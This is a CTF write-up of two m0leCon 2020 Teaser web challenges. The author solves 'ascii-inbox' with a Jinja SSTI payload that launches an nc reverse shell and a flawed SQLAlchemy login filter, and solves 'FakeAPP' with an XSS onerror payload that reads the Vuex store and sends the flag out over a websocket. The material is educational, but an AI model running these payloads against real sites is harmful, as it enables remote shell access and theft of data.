Profile

i love cat

as3617

m0leCon CTF 2020 Teaser Web Writeup

ascii-inbox

The problem is giving two websites.

1.https://challs.m0lecon.it:8003/ - Inbox
2.https://challs.m0lecon.it:8004/ - Ascii

 

The discription gave me 404 pages as a hint.

I immediately thought of a ssti and tried an attack.

 

I tried reverse shell and I could get shell.

https://challs.m0lecon.it:8004/{{url_for.__globals__.os.popen('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc ip port >/tmp/f').read()}}

 

Now I can see source code.

app.py - frontend

def session_email_generator(f):
    @wraps(f)
    def decorated_function(*args, **kwargs):
        if not session.get('id'):
            session['id'] = "%06x" % random.randint(0, 0xFFFFFF)
            # Generate an admin email for each user, in this way I don't need to reset container db and I can't have collisions
            response = service_generate_admin(session['id'])
            if not response and not response['success']:
                if not response:
                    errors = ['Unknown error!']
                else:
                    errors = response['errors']
                return render_template('error.html', errors=errors, title='Ascii Error'), 500

        if session.get('id'):
            os.environ["ADMIN_ASCII_EMAIL"] = os.getenv('ADMIN_ASCII_EMAIL_FORMAT').format(session['id'])

        return f(*args, **kwargs)
    return decorated_function


@app.route('/health')
def health():
    return '<link rel="icon" href="data:;base64,=">', 200


@app.errorhandler(404)
@session_email_generator
def page_not_found(e):
    return render_template('404.html', errors=[''], title='404 Error', path=render_template_string(request.full_path)), 404


@app.route('/')
@session_email_generator
def index():
    return render_template('index.html')

I was able to find the code above and began to analyze it.

For all requests, the session_email_generator() function was running and analyzed its behavior.
This function is sending a request to the backend server.

app.py - backend

@app.route('/generate_admin', methods=['POST'])
def generate_admin():
    success = True
    errors = []

    try:
        email = os.getenv('ADMIN_ASCII_EMAIL_FORMAT').format(request.form['id']);
        response = inbox_request('/generate_admin', { "email": email, "password": str(uuid.uuid1())})
        success = success and response['success']
        errors += response['errors']

        if success:
            session = Session()
            session.add(User(email, request.form['id'], os.getenv('FLAG')))
            session.commit()
            session.close()
    except Exception as e:
        logging.getLogger('backend').error(e);
        errors += [e]
        success = False

    return jsonify({
        "success": success,
        "errors": errors
    })

Backend server sends the request to Inbox and sets the password of the user as a flag when the request is successful.

At this time, the user's email is set to admin_email, and if we can see the password for admin_email, we can get the flag.

The administrator's e-mail is stored in the environment variable, and we have a shell, so it is possible to check the environment variable and send the password via email through the Recover function.

admin email : FLAG-3cc99f@ASCII.it

Now it is possible for us to check the password in Inbox if we email it through the recover function.

app.py - Inbox

@app.route('/login', methods=['GET', 'POST'])
def login():
    errors = []
    if request.method == 'POST':
        try:
            session = Session()
            user = session.query(User).filter(
                User.email == request.form['email'].lower()
                and User.password == request.form['password']
            ).one()
            session.close()
            return inbox(user)
        except Exception as e:
            errors += ['Invalid credentials']
            logging.getLogger('inbox').error(e)
    return render_template('login.html', title='Login', errors=errors)

You have to log in to check your password, but it's impossible to find out because Inbox's password is set to a random value on the backend server. But it is possible to login even if the password is wrong.

user = session.query(User).filter(User.email == request.form['email'].lower() and User.password == request.form['password']).one()

FLAG : ptm{unicode_transformation_WTF}

FakeAPP

If you enter a challenge, you can log in, and if you log in, you can see a chat service made up of web sockets.

I accidentally put in a link and it became a hyperlink as above and I tried an XSS attack.

https://google.com/'></a><script></script>

It was possible to insert a tag with the following code, but the script tag did not work, so i used eventhandler.

 

And I tried to steal admin cookies, but he didn't have an Internet connection and I thought about it more.

 

Then I realized that the service was made of Vue and thought the flag would be stored in Vuex, so I proceeded with the attack.

After successfully accessing Vuex through the __vue__ object, I succeeded in sending any text to me.

Then I thought the flag would be in vuex and sent the text in base64 format through the following code.

https://google.com/'></a><img/src/onerror='vue=document.getElementsByClassName("textarea")[0].__vue__;vue_store=JSON.stringify(vue.$root.$store.state);index=vue_store.indexOf("ptm{");vue.$socket.client.emit("SEND_MESSAGE",{id:"b76465b5-bf49-490a-a53a-b4e52f619830"},"PlainText",btoa(vue_store.slice(index,index+20)))'>

But flag was cut off and I got the full flag to increase length.

FLAG : ptm{bugged_custom_urlify}